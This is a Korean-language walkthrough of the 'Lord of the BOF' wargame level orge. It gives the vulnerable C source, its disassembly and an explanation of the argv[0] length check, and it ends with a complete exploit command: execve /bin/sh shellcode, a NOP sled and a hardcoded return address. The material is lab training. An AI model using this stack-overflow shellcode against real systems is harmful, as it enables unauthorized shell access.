lvl 07 darkelf ->arge
→ 소스코드는 아래와 같다.
1 /* 2 The Lord of the BOF : The Fellowship of the BOF 3 - orge 4 - check argv[0] 5 */ 6 7 #include <stdio.h> 8 #include <stdlib.h> 9 10 extern char **environ; 11 12 main(int argc, char *argv[]) 13 { 14 char buffer[40]; 15 int i; 16 17 if(argc < 2){ 18 printf("argv error\n"); 19 exit(0); 20 } 21 22 // here is changed! 23 if(strlen(argv[0]) != 77){ 24 printf("argv[0] error\n"); 25 exit(0); 26 } 27 28 // egghunter 29 for(i=0; environ[i]; i++) 30 memset(environ[i], 0, strlen(environ[i])); 31 32 if(argv[1][47] != '\xbf') 33 { 34 printf("stack is still your friend.\n"); 35 exit(0); 36 } 37 38 // check the length of argument 39 if(strlen(argv[1]) > 48){ 40 printf("argument is too long!\n"); 41 exit(0); 42 } 43 44 strcpy(buffer, argv[1]); 45 printf("%s\n", buffer); 46 47 // buffer hunter 48 memset(buffer, 0, 40); 49 } |
→ 어셈블리 코드는 아래와 같다.
0x8048500 0x8048501 0x8048503 0x8048506 0x804850a 0x804850c 0x8048511 0x8048516 0x8048519 0x804851b 0x8048520 0x8048523 0x8048526 0x8048528 0x8048529 0x804852e 0x8048531 0x8048533 0x8048536 0x8048538 0x804853d 0x8048542 0x8048545 0x8048547 0x804854c 0x804854f 0x8048550 0x8048551 0x8048558 0x804855b 0x8048562 0x8048567 0x804856b 0x804856d 0x804856f 0x8048570 0x8048573 0x804857a 0x804857f 0x8048582 0x8048583 0x8048588 0x804858b 0x804858d 0x804858e 0x8048590 0x8048593 0x804859a 0x804859f 0x80485a2 0x80485a3 0x80485a8 0x80485ab 0x80485ae 0x80485b0 0x80485b3 0x80485b6 0x80485b8 0x80485bb 0x80485be 0x80485c0 0x80485c5 0x80485ca 0x80485cd 0x80485cf 0x80485d4 0x80485d7 0x80485da 0x80485dd 0x80485df 0x80485e0 0x80485e5 0x80485e8 0x80485ea 0x80485ed 0x80485ef 0x80485f4 0x80485f9 0x80485fc 0x80485fe 0x8048603 0x8048606 0x8048609 0x804860c 0x804860e 0x804860f 0x8048612 0x8048613 0x8048618 0x804861b 0x804861e 0x804861f 0x8048624 0x8048629 0x804862c 0x804862e 0x8048630 0x8048633 0x8048634 0x8048639 0x804863c 0x804863d |
<main> <main+1> <main+3> <main+6> <main+10> <main+12> <main+17> <main+22> <main+25> <main+27> <main+32> <main+35> <main+38> <main+40> <main+41> <main+46> <main+49> <main+51> <main+54> <main+56> <main+61> <main+66> <main+69> <main+71> <main+76> <main+79> <main+80> <main+81> <main+88> <main+91> <main+98> <main+103> <main+107> <main+109> <main+111> <main+112> <main+115> <main+122> <main+127> <main+130> <main+131> <main+136> <main+139> <main+141> <main+142> <main+144> <main+147> <main+154> <main+159> <main+162> <main+163> <main+168> <main+171> <main+174> <main+176> <main+179> <main+182> <main+184> <main+187> <main+190> <main+192> <main+197> <main+202> <main+205> <main+207> <main+212> <main+215> <main+218> <main+221> <main+223> <main+224> <main+229> <main+232> <main+234> <main+237> <main+239> <main+244> <main+249> <main+252> <main+254> <main+259> <main+262> <main+265> <main+268> <main+270> <main+271> <main+274> <main+275> <main+280> <main+283> <main+286> <main+287> <main+292> <main+297> <main+300> <main+302> <main+304> <main+307> <main+308> <main+313> <main+316> <main+317> |
push %ebp mov %ebp,%esp sub %esp,44 cmp DWORD PTR [%ebp+8],1 jg 0x8048523 <main+35> push 0x8048690 call 0x8048410 <printf> add %esp,4 push 0 call 0x8048420 <exit> add %esp,4 mov %eax,DWORD PTR [%ebp+12] mov %edx,DWORD PTR [%eax] push %edx call 0x80483f0 <strlen> add %esp,4 mov %eax,%eax cmp %eax,77 je 0x8048550 <main+80> push 0x804869c call 0x8048410 <printf> add %esp,4 push 0 call 0x8048420 <exit> add %esp,4 nop nop mov DWORD PTR [%ebp-44],0x0 mov %eax,DWORD PTR [%ebp-44] lea %edx,[%eax*4] mov %eax,%ds:0x80497d4 cmp DWORD PTR [%eax+%edx],0 jne 0x8048570 <main+112> jmp 0x80485b0 <main+176> nop mov %eax,DWORD PTR [%ebp-44] lea %edx,[%eax*4] mov %eax,%ds:0x80497d4 mov %edx,DWORD PTR [%eax+%edx] push %edx call 0x80483f0 <strlen> add %esp,4 mov %eax,%eax push %eax push 0 mov %eax,DWORD PTR [%ebp-44] lea %edx,[%eax*4] mov %eax,%ds:0x80497d4 mov %edx,DWORD PTR [%eax+%edx] push %edx call 0x8048430 <memset> add %esp,12 inc DWORD PTR [%ebp-44] jmp 0x8048558 <main+88> mov %eax,DWORD PTR [%ebp+12] add %eax,4 mov %edx,DWORD PTR [%eax] add %edx,47 cmp BYTE PTR [%edx],0xbf je 0x80485d7 <main+215> push 0x80486ab call 0x8048410 <printf> add %esp,4 push 0 call 0x8048420 <exit> add %esp,4 mov %eax,DWORD PTR [%ebp+12] add %eax,4 mov %edx,DWORD PTR [%eax] push %edx call 0x80483f0 <strlen> add %esp,4 mov %eax,%eax cmp %eax,48 jbe 0x8048606 <main+262> push 0x80486c8 call 0x8048410 <printf> add %esp,4 push 0 call 0x8048420 <exit> add %esp,4 mov %eax,DWORD PTR [%ebp+12] add %eax,4 mov %edx,DWORD PTR [%eax] push %edx lea %eax,[%ebp-40] push %eax call 0x8048440 <strcpy> add %esp,8 lea %eax,[%ebp-40] push %eax push 0x80486df call 0x8048410 <printf> add %esp,8 push 40 push 0 lea %eax,[%ebp-40] push %eax call 0x8048430 <memset> add %esp,12 leave ret |
→ 앞선 문제와 바뀐 부분은 22번~26번 코드에 argv[0] 인자 값의 길이가 77바이트가 맞는지 체크하는 로직이 추가되었다. 따라서, argv[0] 인자 값을 강제로 77 바이트로 맞춘 후 기존과 동일한 방법으로 페이로드를 구성하면 된다. 따라서, argv[1]의 주소를 알기 위해 아래와 같은 소스코드를 추가한다.
printf("[%#x]\n",argv[1]); // 추가된 소스 argv[1] 주소값 출력 |
→ 여기서 주소 값을 알아내기 위한 코드 또한 아래와 같이 77바이트를 맞추어야 한다.
→ 6번 문제와 동일하게 페이로드를 구성한다.
→ 그리고, 공격코드는 77바이트를 맞춰주기 위해 "/"를 추가하여 공격 코드를 작성한다.
$(python -c 'print "."+"/"*72+"orge"') $(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x90"*20+"\x83\xfb\xff\xbf"') |
→ 결과는 아래와 같다.